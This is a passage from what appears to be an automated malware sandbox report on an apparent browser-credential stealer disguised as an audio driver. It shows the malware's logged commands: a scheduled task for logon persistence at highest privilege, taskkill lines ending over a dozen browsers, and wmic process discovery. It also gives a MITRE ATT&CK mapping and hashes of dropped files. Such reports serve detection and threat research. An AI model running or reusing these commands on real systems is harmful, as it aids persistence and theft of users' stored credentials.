        schtasks /Create /F /TN Microsoft\Windows\AudioDriverMaintenance /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\AudioDriver\AudioDriverSetup.exe\" --vv-reboot-steal" /SC ONLOGON /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5488
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /fi "imagename eq LsaIso.exe"
        5⤵
        Discovers running processes
        
        PID:3016
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im chrome.exe
        5⤵
        Kills process with taskkill
        
        PID:4712
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im brave.exe
        5⤵
        Kills process with taskkill
        
        PID:5684
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im msedge.exe
        5⤵
        Kills process with taskkill
        
        PID:5376
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im msedgewebview2.exe
        5⤵
        Kills process with taskkill
        
        PID:1572
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im opera.exe
        5⤵
        Kills process with taskkill
        
        PID:1884
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im firefox.exe
        5⤵
        Kills process with taskkill
        
        PID:620
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im librewolf.exe
        5⤵
        Kills process with taskkill
        
        PID:1308
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im waterfox.exe
        5⤵
        Kills process with taskkill
        
        PID:1108
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im zen.exe
        5⤵
        Kills process with taskkill
        
        PID:4952
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im vivaldi.exe
        5⤵
        Kills process with taskkill
        
        PID:5180
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im browser.exe
        5⤵
        Kills process with taskkill
        
        PID:2992
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im QQBrowser.exe
        5⤵
        Kills process with taskkill
        
        PID:200
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im 360chrome.exe
        5⤵
        Kills process with taskkill
        
        PID:3064
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im msedgewebview2.exe
        5⤵
        Kills process with taskkill
        
        PID:2952
    - - C:\Windows\System32\Wbem\wmic.exe
        
        wmic process where name='firefox.exe' get ExecutablePath /format:list
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2024
    - - C:\Windows\System32\Wbem\wmic.exe
        
        wmic process where name='firefox.exe' get ExecutablePath /format:list
        5⤵
        
        PID:1704

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

index.js

Path C:\Users\Admin\.cache\pkg\5390a6e75d1276cb87b8827303c4e8fc3ed9a6e012bf3c43c6c28bd6bf308d51\@koromix\koffi-win32-x64\index.js
Size 206B
SHA256 632ab5a01dfc1b519b06275f490d6790100a2f8d71d8f56957091d0fcc5b3e0b
MD5 88844ba820e6db161e8595e2caa32276
SHA1 f69dcd792f924e9d1d7bd50d6869c90411f371db
SHA512 8f6897293dbeaa18867fd5adc0e19fa160a8967ab603a804c84cb5e9658e51df78f91eaa69dc3bff45bbe5cb652e12bd0097985edc34e69e192130662da71f29
TLSH
T1A7D0C76E1BFE6161430824544ABB53C5A8D6C8938A584A4251CC4D521D5471056951B2
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\.cache\pkg\5390a6e75d1276cb87b8827303c4e8fc3ed9a6e012bf3c43c6c28bd6bf308d51\@koromix\koffi-win32-x64\package.json
Size 644B
SHA256 fde372b682294d641f30e828b9e523ad2aa5ddaa9518e5d8e87b5ca0d44ed322
MD5 e4f0b4325004c082a8caa55a444a7199
SHA1 4778bb597f60a1033dde2259692f783be4063446
SHA512 8113eb895b43bf2b2aa39ea8c982824d10ea96749ed326994e76dd84675a896285748a02f151a082c957978d87eafc66308de79540ba04a5d569ad31e734484a
TLSH
T1EAF02873DC340DA32B8519A4A89E5085E214012B4CC5BD46BB1D9A5C6F9C5FF16BC26E
MD5 SHA1 SHA512 TLSH

Submit Download

koffi.node

Path C:\Users\Admin\.cache\pkg\5390a6e75d1276cb87b8827303c4e8fc3ed9a6e012bf3c43c6c28bd6bf308d51\@koromix\koffi-win32-x64\win32_x64\koffi.node
Size 1.0MB
SHA256 5390a6e75d1276cb87b8827303c4e8fc3ed9a6e012bf3c43c6c28bd6bf308d51
MD5 c652c622c7bc15abeaaa3920abf3ed07
SHA1 92d46a4ee65a21d613a1f50840740da74708bcb6
SHA512 3726daef77b8032089f6e57a9c097a8219b60a244d5275ed2fc5a530fe0f5a28b57328d76dc2fb958ac6f593813175fda912fd034f11ebe1c32211a5684afd46
SSDEEP 12288:IOHcorsvRUzgHBpfmrytFNXrfKh4O1nNJhdb/IMUs2Jb71WDecUq1v:IOHcorsvRUz8OOt3rKiO1nNJ72J6ecJ
TLSH
T1EE25E442F71A96E8C55DC0344B7BC3113921F84A077DA9D7D69CFE983E12ABC163A2E4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_go.bat

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\_go.bat
Size 1KB
SHA256 d29ef012fe8a6f03d7df4d4d16d316f1f9835f35c7f3b0b40be01ab77098d84f
MD5 bbe72fb87f1fcfadbb9b6ff0ea993d6d
SHA1 0da92485d7bf3fb92dbcbcd299fc6129db506aa2
SHA512 f9807dc75289de21a7daa5a05d05e07c607d08ced187780f38f66630763ffdb608db9bb37fd93ac003c44e607f7c0fb827545cd4b2b60184d8675ce051a8c36a
TLSH
T198210E15C4DE9F678032FC47287632F5A2E4B0077747EA09D240C4181F92A8EE5C29A2
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

java.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\java.dll
Size 115KB
SHA256 f947a8502607c2986055cf20fe61c18041ec331abdc3c2b609b1efa3bdeec59d
MD5 021967cd02601b86b5496a299e8d88ad
SHA1 06e17abd1bbff6d99bf6de6df2cd145d807cbd47
SHA512 8a638acc019f0cc1bdf48f91599c381b3fa2921ae274403da3c580ff9f5e69b5beb48fe91d158fdcbdb9ab3eaa5b0d6bada84b40440b86df9042a17333376a17
SSDEEP 1536:BiNJFjcgujUpl8mFW+z93U+soU1/mzJAQh4qul14yNGMfbv/OHskrHnnVj671V2:sJFjVuRmFWGBpoQiayNGAuHxrHJ6ZV2
TLSH
T101B35A1BA7A54043F82AB1BCC417450FE37174601291E74F43AACA8E9F9FB613D4DBA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

javaw.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\javaw.exe
Size 53KB
SHA256 493beaf1d4822fb8ad21aa7d47e3cb46b1ad412411facd12f09c543eee426d2e
MD5 2ad17100059a9ca822fc6f33a38ca058
SHA1 09fde1b32c75c8f71fa8329318a9dd8ffabfdbd2
SHA512 0f2726e8c6b880a55a10f64bc4e00aefae5a5719b2d3b0250c8e8bb70b4d1aa6ee7e12c55353eacc73c4d47d3c7d28a9ddc40973a5b57a65da236baa06e538bb
SSDEEP 768:dal//U2NLAuDeGJiqrmehiVSrmaBP39V3t5ZYi1VX/5ALW:dw/i7qjh3rmKPNdt5Z71Vz
TLSH
T133331AB2F104A885DA1BC9B3D86DDC31A4F33DED99E0460E22F9712959F33D21099D9E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jimage.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\jimage.dll
Size 32KB
SHA256 1478c45015feb960cc325083cbef99329f3a3126b68042617bc2acebf3619b99
MD5 baf4bec3d20672f584f096698ef7f2a0
SHA1 3d0cfc7e629b42dd577be6a66b1252cffacff8c6
SHA512 3f3abe9f195de41bae9a77f4d50e2541ca29e9a19ff655726a5863faa88955b81e7ae00707649c349593bc923047ea065b8ac3fcdc4ef7fc3948760d667e5cb8
SSDEEP 384:kQ6uphEvrWgn498Y8x8DYS8SLAdrzqe6FMyvSocDIYiq1GVMWSy8RbmL4nNy9D:WuO4h8xCsqYWvvSNsYi1VRS5ALv
TLSH
T1D5E27D56A6A45C59D927E938C8E65A2BE3B2FA519F90C3CF2320421E0F733812F6D355
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jli.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\jli.dll
Size 82KB
SHA256 608e56714647c81d7d6427635434dbf5cfeccd382dbd0062cd6a8d1237531ef5
MD5 3da5708d6120c97bbb4d2261c66c2167
SHA1 b67672648a73c89ac8fdf9a5c1c0f6bf66344840
SHA512 894a929396eacce7d8c7ab41eb8de30d391e899aee52670a9fdb39ed61de5304811209288b9154b880ad69f4f6d940d74e2e94b45074ae5fdd02adcffbbbab38
SSDEEP 1536:MZklxK6yw7VZnDoAiSgaIOrvweRsvp71Vit:MOlxKk7VxfzrrvfKpZVit
TLSH
T15E837C4A53E021E4DEB68478D9B1561FE3F2B0522770938F53AC81A90FB36613E1DBD5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcp140.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\msvcp140.dll
Size 562KB
SHA256 b99eb28a471311113f5c4109cb3c463f39cfd9bdb3b07f706204dedddb4516a1
MD5 7acbc57d268a691247b4a94fecfa42b4
SHA1 67bd76111b4ab8f4c0692919153dde2e7c8070f1
SHA512 b08140ce86ea78b481b78644f086359326616a56fb3a3953da16a7fc2bd15a493652f22d4d2fcba3675c668b9832fdb7d5f17a8aa6ccdb74e7b746a79df60b88
SSDEEP 12288:O9zqgpPAgLqMpP85TAfvULhNaYv0nJxgQEKZm+jWodEEVhEU9:O4wPrALhAYvogQEKZm+jWodEE7p
TLSH
T139C41923B74905E0E195E3B891878306D7F1BC4A8312A3C792EBD69D2F677D1673B290
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

net.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\net.dll
Size 60KB
SHA256 010c2907c561c5c59ac89db8ae494c66424671046b5801cc72d61a1ee2b7f0a0
MD5 0d8c87278f244f57cce5a67bde288e2b
SHA1 8cfb64d049b4957ac2bc8c74b54e8b79acb93695
SHA512 85bd06938ad9136bfd9a635d09433678747c61c62ba5c1812b57e48aba173ff8427709cf86796949d5ea2658d2551cfd0d1b93af1e0464eb1559b41d6f6b5613
SSDEEP 1536:XkmMF7ppRIlldLCjWoshlkuWsFkvBufts71Vh:pMeLCjzsHgnpuftsZVh
TLSH
T1B1535D0197D01894E8278974C962261FEAB1B860629087DF437AC29E9FF77707F1D791
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nio.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\nio.dll
Size 80KB
SHA256 e5409b158d828348e0fb64715cf4affd6d5bbdce425f9044528c4b923dcb9685
MD5 c9c4bb835bd2e4e6461a42be8a4b81b2
SHA1 d75311c583531b111125638aae670332d35a14f1
SHA512 478cfcec13b2079e7d8270da5bee1ded8d579af0800120b00da740be671370d004488e29325542b762da5dd8bd2e4818c7207186d3d300a162b538ba7d0c04d8
SSDEEP 1536:UKWjWGF7oK3bh745Z8AgQFHvtmUsRwdEpd1bFBk71VMjO:UKWr33bh73Yl8UsRUEpd15BkZVD
TLSH
T115832BA293B0849BE87A7138825B175BF363BC101510975F5328CB5A5F6F6B23E3D782
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jvm.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\server\jvm.dll
Size 14.3MB
SHA256 39249fe92aed1851d0617895a59de4bfe927e95427a515a439c8af6a1825a0c7
MD5 1d6773cd7767a2357720792a634c0e21
SHA1 5439e209e0453ea8a1fbe169b4d0aa42a44d323e
SHA512 83d7d7e720a27b9d214b0f349388652d4ae52c1d96317cb374f93527d184a99d811f631894a3575cdc930b2b8bc265f7d54f3ada2d1dc7c2310797c4a034ac56
SSDEEP 393216:V7BJdbEt3wG5DAQW7c2+YGLgaQ70tHTAIyIWJWulk+cxVM6N82HafROou7Rq76Mr:VLmRDWV
TLSH
T181E67C56A77900E5C06BC578CE27491BCBF2B8648330E7DB14E0566EAF23BE4593E721
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140_1.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\vcruntime140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

verify.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\verify.dll
Size 54KB
SHA256 fd69565f0dbdc67757ef3a549ace7c195c9da5bfd1c126fd8079aab23afaf015
MD5 f911672d31a6b2f5c66ecb81041d310b
SHA1 28f374227ff0c3c5fc8ff681069425161970e46e
SHA512 728e89b8cea9309a6d2167dfd4c30edabf6881d2119a37183ff5e2b11505c2570b7394cef2dc4dc8c17d5f7c087ea88eefb6ffe8b86ccff402374127e64eee12
SSDEEP 768:Qrx2fxah2gEWIbutcRiN/lpud0sYhmpXIEalCKe2diU8lbYi1VXs5ALC:Qr+aebuu6B9hma2oI9lb71VK
TLSH
T11F436B5392640076E493C634D6636EE7DBF0F8460B40C3CB029487DD7FEBB606B596AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zip.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\zip.dll
Size 82KB
SHA256 d3a2992d60e922bb1bb922bf1bef32b11b101c0c90dc2887a9ee9e180d1cdf09
MD5 f7f046c7e7ca29921c998e412d51d813
SHA1 a0c22f7194614ba0c1beff7e17ed248d6f4a98f4
SHA512 4cf5b8024a2925391f2ddcf816993405b9f29e4bf1cef1dbd58df8212dc560af8cd2a1026f9b51ff97dd7718af90269a5bee36dd15ae2f2ccb84f07739de450e
SSDEEP 1536:ddZkmVqN6tETHWdVN0KUHY1PlIOQIO249Wyi71VfYU:ddZl4N6tEHWdL0E3G249WyiZVwU
TLSH
T1F4838B9559A00555DEFB55B0C8E30A2ED3B9B04556E1438BA3AC839A2F633613F4C3FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

logging.properties

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\conf\logging.properties
Size 2KB
SHA256 8590633e1e8a7d88ffe74cc04189c5c61b1ed4703180cbc851dcd5575efcce74
MD5 c4b74648f229c4b7e62a1061ee1dc3f0
SHA1 5795edcb624326bbefdedcdb6a11d9c18071d8ce
SHA512 76ea95402f64947c2784f1f8d0857f0d7c963285ae9ebcd9f5cb407d83a14e4da6d14aeb8641c9d9b1c92af4493a4b10e52ad6efda7ae47f265d43df6b4002d0
TLSH
T13251FE5E9B4E2D35430E00AA5A7FF6527E1898BD1C23A5F6B35E6304321D43485DBBC2
MD5 SHA1 SHA512 TLSH

Submit Download

net.properties

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\conf\net.properties
Size 7KB
SHA256 594bc40230a0bd7c441fe069989d66e534a6bae2ee5910f9f4bf64e59b583256
MD5 1f251a36eb37913b696b5be5595e1cd0
SHA1 412fed5d460c414583b16f41e1ebe4262c239af1
SHA512 7a24d898e68c2a7f229220074c510910e7257dd11be33cece3ed4f630552934f6968aa310bcf956a30baf610528cd251f233bad32fd0921ece2c171a7154e2a5
SSDEEP 192:/LVGG4f4z346et5m27Sn1gTe93hf7k9SrnF:ZGxYCU1gY3hzk9+F
TLSH
T142E17283BF46B7354399C291E21EA7EEE32C913D4C33B5B831AC850D2619C76427F4A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

java.security

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\conf\security\java.security
Size 73KB
SHA256 ddcc00ca7a7490110f399631c76c247612f2a443ad0b59dd36ecdb207d170e54
MD5 609a3e833e2a703ecd4b6d467a01adab
SHA1 ba13b539b0b34bd9eeb32de4df7602665f1dee6f
SHA512 7d851855208884361c993f9540700a10322552c52ac0222987a2e529ed496aaed1df616a6a739d2264ba3d25ca313570098899e4b16245edbd1d7a42d470d915
SSDEEP 1536:rQMy8R78MRjJPFp5/LQ/NHu1UoQ2k/gl0ugPYilNndOcA2ZIYy60:J8MfPFD/LQ/NO1UoQDAiDndOcKp
TLSH
T19073D422BB896B7206F211A363AEF1D9F76DA12A32325154748D420C7326F71C3776E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

default_US_export.policy

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\conf\security\policy\unlimited\default_US_export.policy
Size 146B
SHA256 758b930a526fc670ab7537f8c26321527050a31f5f42149a2dda623c56a0a1a9
MD5 1a08ffdf0bc871296c8d698fb22f542a
SHA1 f3f974d3f6245c50804dcc47173aa29d4d7f0e2c
SHA512 4cfca5b10cd7addcff887c8f3621d2fbec1b5632436326377b0ce5af1ae3e8b68ac5a743ca6082fc79991b8eec703a6e1dfd5b896153407ad72327753222fdb3
TLSH
T178C02B07BB17D0F800D0EF4617B57916B1701E89B0A1121CFA00C2A41EDC6108330394
MD5 SHA1 SHA512 TLSH

Submit Download

default_local.policy

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\conf\security\policy\unlimited\default_local.policy
Size 193B
SHA256 8d8a318e6d90dfd7e26612d2b6385aa704f686ca6134c551f8928418d92b851a
MD5 2a0f330c51aff13a96af8bd5082c84a8
SHA1 ad2509631ed743c882999ac1200fd5fb8a593639
SHA512 2b0385417a3fc2af58b1cbb186dd3e0b0875e42923884153deee0efcb390ca00b326ed5b266b3892d31bf7d40e10969a0b51daa6d0b4ca3183770786925d3cde
TLSH
T14EC0C02DFF9BE2BD44F0AF4623B15485703912473092031CF24583C43EDC580C2306A8
MD5 SHA1 SHA512 TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\legal\java.sql\COPYRIGHT
Size 35B
SHA256 7afb3a2dc57cb16223dddc970e0b464311e5311484c793abf9327a19ef629018
MD5 4586c3797f538d41b7b2e30e8afebbc9
SHA1 3419ebac878fa53a9f0ff1617045ddaafb43dce0
SHA512 f2c722ae80d2c0dcdb30a6993864eb90b85be5311261012d4585c6595579582d1b37323613f5417d189adcd096fa948e0378c1e6c59761bf94d65c0a5c2f2fd3
MD5 SHA1 SHA512

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\legal\java.sql\LICENSE
Size 33B
SHA256 86e0516b888276a492b19f9a84f5a866ed36925fae1510b3a94a0b6213e69192
MD5 16989bab922811e28b64ac30449a5d05
SHA1 51ab20e8c19ee570bf6c496ec7346b7cf17bd04a
SHA512 86571f127a6755a7339a9ed06e458c8dc5898e528de89e369a13c183711831af0646474986bae6573bc5155058d5f38348d6bfdeb3fd9318e98e0bf7916e6608
MD5 SHA1 SHA512

Submit Download

jvm.cfg

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\lib\jvm.cfg
Size 29B
SHA256 aa9efb969444c1484e29adecab55a122458090616e766b2f1230ef05bc3867e0
MD5 7ce21bdcfa333c231d74a77394206302
SHA1 c5a940d2dee8e7bfc01a87d585ddca420d37e226
SHA512 8b37a1a5600e0a4e5832021c4db50569e33f1ddc8ac4fc2f38d5439272b955b0e3028ea10dec0743b197aa0def32d9e185066d2bac451f81b99539d34006074b
MD5 SHA1 SHA512

Submit Download

modules

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\lib\modules
Size 24.4MB
SHA256 4401b98cf775ac938ab0a0aab3467ed9d66e1731f59e19f6ec975e23273f1d31
MD5 8dc906d3489eee86edce6848d0fe4975
SHA1 43348334cffc7da67d3c198e5f22cf4a350e331b
SHA512 568787dd94e87b6355432683a165d77ef3ffbcb55e252492c3e266e58a4bb6ae4e4c500739b51ab60cb35da503d5d083078124e95295ef1e7eec5e9007b93a09
SSDEEP 393216:I60sJo2+2pwzC1uBFSMAekIsj9nOL+ot1yDOHAx9chimedmdJ/8lJqaCo:ILsJy22zCUmOqoaDOgxOhDFd98lJqNo
TLSH
T17947124EF8814B61C89695F78562A6C56731A4C4FE84879F0084326E3CBB963CB3F5BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocked.certs

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\lib\security\blocked.certs
Size 2KB
SHA256 583500b76965eb54b03493372989ab4d3426f85462d1db232c5ae6706a4d6c58
MD5 8273f70416f494f7fa5b6c70a101e00e
SHA1 aeaebb14fbf146fbb0aaf347446c08766c86ca7f
SHA512 e697a57d64ace1f302300f83e875c2726407f8daf7c1d38b07ab8b4b11299fd698582d825bee817a1af85a285f27877a9e603e48e01c72e482a04dc7ab12c8da
TLSH
T1CC512CCAD15E02DA9D407BE208EC82A7779381B2AB2C442A2BF60F420577C5DD73B8C5
MD5 SHA1 SHA512 TLSH

Submit Download

cacerts

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\lib\security\cacerts
Size 129KB
SHA256 707312d3e8018928f53d108e4534f628cbbfad18196df1a2e72884300be1a69f
MD5 881adfcde495d7617f386bd5a5e266a3
SHA1 8ac5c4224e29351fb5d1242511652816361be139
SHA512 b56f14cf167ae0f59f6e33fa92b61a8b78346eb7320dbafb37ec220864d42cd484dc87743ce3f1f9e9accf8873a6f1add329a7da99ea6205e167d46ccbba855f
SSDEEP 3072:6W50keopPrPXMvYrSuZe1AXA7BTMly8Jg96K:D7pP0Hus6XAlTMl4L
TLSH
T160D35B8B0F3D7405BFE2DE48A688D7277D76F3E42E9695271121C1E41E92BA07C8D12E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tzdb.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\lib\tzdb.dat
Size 100KB
SHA256 36cf71e63ce2816fe4456e9195e6c27fa7c9cd431c89ba762eba394ec2c7a1e3
MD5 df8a313edca47a1b2537b7ec047ce4de
SHA1 449cd5af08a45e2b017e670b3df9c8bf06de0c7e
SHA512 7c4c67d5793bdbf3f9b7dec1360b9278ad7206e66f6917568e2fc04e0fbc019b504edc35870eae143f9f313d5b7eca81404d5c4783c7fc61e0f8a1ec1d18e36e
SSDEEP 1536:N0ExeF88hPdr92L674jAGubVj0Lg/////UzJbPdJPNL0mIT/M4Z3jyxU:NPeq8hPdrcWzbVj0hJzdxuT/5ToU
TLSH
T149A3C4B57F7150B7B2CB8122262B5B93097DAC816FC3084675B4BD4E8A76AD7203335E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tzmappings

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\lib\tzmappings
Size 15KB
SHA256 3929ab1380771d0d542d91cfbae02ce519a76678f5f63813739a6c6b98dc6d72
MD5 f2c6e7d7e1856acd650426427dc72cbd
SHA1 42fcb6d986381170cdef3aeaaf9f8ddc124fdec0
SHA512 3fff765acea8b4b2f1d01ee080920db815212ef05a75832a4a01e174886544b1320f85229d43d5077e050bf8309a2d467d784e828b82cfd095fa1caca7780b35
SSDEEP 192:LQW46R4S2t0ZvH4LacPZ5E1DBMpLcnyhAXnEo2nh+E4:LQW46R4jtavQSRqwSL4
TLSH
T15F622585B06622E4C073EC0D3F227AD3F886F3C49AC69A4D2953C366BD059B766D5837
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

release

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\release
Size 181B
SHA256 3b4e44516b76d16f4ce53546ec99893a5fcb4d5637bba8f14157c9c849c754b6
MD5 756c145da2688e18ea023d6519f1f590
SHA1 4ed9e0d71bea1f41db7e0a9ba12fc3c7ccc26d94
SHA512 48056fd814f2fc9a6712bde1223ea29438af467599a88faa35800bbc7e97ddd2a1e79fd05ec22c7c15054b3f129006e0ee6a99c46dd4106806b043bf93b9e97c
TLSH
T1CAC0C05F680A50D001A000C100F4880EFCE8ED30071055C033032840607005427A133E
MD5 SHA1 SHA512 TLSH

Submit Download

panel.token

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\panel.token
Size 24B
SHA256 09346c8a382edab6ee0464fdc3c45ec16748d8cf1fd4a93e92c894bc8df5d49f
MD5 b80ea58be0848f377276cf923c62f5cb
SHA1 36e77bad4c01c1fa7ae2ccc39e7bc0eb508ff9d9
SHA512 b3aea7b6b7b002634ce62707a1426560ae8d6d4e40305cdc6358c0e11c12b14a5c8db9411effd98efa0ea1c2b4c92c61cf42ad7f176a68436ce3608d5f8635d9
MD5 SHA1 SHA512

Submit Download

rtaudio-config.jar

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\rtaudio-config.jar
Size 32.7MB
SHA256 46b6c00d2a58239b5ac727bf1eca2668ae826b96f05a410f3be5bdabe5750b05
MD5 90a67ea5633c0fe0340c64f4de909768
SHA1 176009b0cb3c27a4e737195da03beffcc60f3430
SHA512 b2e0c681be1f31eb58dc85984b32d0988f801eb6b6301884e6bef5164705a0e27591ee574561f71b693ab9396552f060fefbde98ddb4e8c9b554d5494d6304cd
SSDEEP 786432:2wRhMTxGDbqGBUhXKBhdVWQQ5dtKgS9HzAXOdovwirbq:2wL4qGx6TdVWQQsNkjvwYm
TLSH
T12F773356B72570E6F68819B36B343F6C35484E048119EBFEFAF1AF2A87CD10B185A513
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

runtime-trace.log

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\runtime-trace.log
Size 2KB
SHA256 e90104e4dbc5e92807f89278adb0cdd9786508cfe1a00d842ccb7ebc4ee3cf09
MD5 a6524c9eb0159a9f611bfccee072e148
SHA1 d58d563ac47db8be0a1a9756f10c64a480515d11
SHA512 64ad3e1b95c033db356b3a5924416d291ee54c943b663ee3247e613f58f8a532e12493d1fb731a16584bc65423493dc6d25d351624b711be4bd466cf9a3a8034
TLSH
T1A051AD0E8C7194CA0F96441FA518874DFF32F92377407080A7ACD5A4B371E4EAE5238A
MD5 SHA1 SHA512 TLSH

Submit Download

runtime-trace.log

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\runtime-trace.log
Size 4KB
SHA256 c428022dd9e26ade72f21ef7e73245d8672f01e1c910d5103cc244ff83cae8e6
MD5 da474b3cae42ee6b5f7c3394234de8d2
SHA1 f5f6caf02df64da2ad5c3e55263838bfc647fb6d
